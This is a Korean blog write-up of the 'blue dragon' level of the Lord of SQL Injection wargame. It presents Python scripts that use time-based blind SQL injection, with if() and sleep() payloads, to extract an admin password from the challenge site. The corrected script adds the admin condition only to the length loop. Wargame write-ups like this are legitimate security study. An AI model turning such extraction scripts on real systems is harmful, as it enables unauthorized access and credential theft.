728x90
이번에 처치할 몬스터는 blue dragon!
코드를 보면
이번 문제는 싱글쿼터(')와 백슬래시(\)가 필터링되어 있다.
처음에는 백슬리시 우회법이 있나 찾아보다가 지난 문제중에 sleep과 benchmark를 필터링해 놨던 문제들이 생각났다.
blind sql injection은 error base와 time base로 나눠지는데 지금까지 우리가 자주 사용했던 게 error base다.
그러므로 문득 time base인가 해서 찾아봤더니 의외로 간단했다.
쿼리문은 if문을 통해 조건을 걸어준뒤 참일 때는 sleep을 이용해 시간차를 주고 수행시간이 시간차만큼 나는 순간을 잡아내면 된다.
import time
import requests
url="https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
cookies={"PHPSESSID":"kogf8srvhks2phbp9kdndnk5ar"}
string="0123456789abcdefghijklmnopqrstuvwxyz"
pw=""
for i in range(1,100): #길이구하기
start=time.time() #측정시작
pay=f"?id=%27%20or%20if(length(pw)={i},sleep(5),123)%23"
res=requests.get(url+pay,cookies=cookies)
end=time.time() #측정종료
if end-start>5: #수행시간이 5보다 클때
length=i
print("length:",length)
break
for i in range(1,length+1): #pw구하기
for j in string:
start=time.time()
pay=f"?id=%27%20or%20if(substr(pw,{i},1)='{j}',sleep(5),123)%23"
res=requests.get(url+pay,cookies=cookies)
end=time.time()
if end-start>5:
pw+=j
print("pw:",pw)
break
print("password:",pw)
따란~
쉽게 pw를 구한다음 바로 입력해 봤다.
....
....
왜 안되지...?
한참을 고쳐보고 sleep시간도 줄여보고 다 시도해 봤는데 안되길래 구글에 검색해 봤더니 이상하게 pw가 출력되다 말았다.
length가 이상하게 5에서 걸리는데 왜인지 생각해 봤더니
우리가 문제를 풀 때 admin계정과 guest계정이 있던 게 기억날 것이다.
내가 pw 길이를 찾을 때 id='admin' 조건을 안 써줬기 때문에 가장 먼저 걸리는(짧은) pw길이가 출력된 것 같다.
그래서 코드를 수정해서 다시 돌려봤더니
import time
import requests
url="https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
cookies={"PHPSESSID":"kogf8srvhks2phbp9kdndnk5ar"}
string="0123456789abcdefghijklmnopqrstuvwxyz"
pw=""
for i in range(1,100): #길이구하기
start=time.time()
pay=f"?id=%27%20or%20if(id='admin' and length(pw)={i},sleep(5),123)%23" #조건 추가
res=requests.get(url+pay,cookies=cookies)
end=time.time()
if end-start>5:
length=i
print("length:",length)
break
for i in range(1,length+1): #pw구하기
for j in string:
start=time.time()
pay=f"?id=%27%20or%20if(substr(pw,{i},1)='{j}',sleep(5),123)%23"
res=requests.get(url+pay,cookies=cookies)
end=time.time()
if end-start>5:
pw+=j
print("pw:",pw)
break
print("password:",pw)
굿굿~
다음 몬스터 잡으러 가자~!
728x90
'Web > Lord of SQL Injection' 카테고리의 다른 글
Lord of SQL Injection 26단계 (red dragon) (0) | 2023.04.22 |
---|---|
Lord of SQL Injection 25단계 (green dragon) (0) | 2023.04.14 |
Lord of SQL Injection 24단계 (evil wizard) (0) | 2023.04.12 |
Lord of SQL Injection 23단계 (hell_fire) (0) | 2023.04.11 |
Lord of SQL Injection 22단계 (dark_eyes) (0) | 2023.04.10 |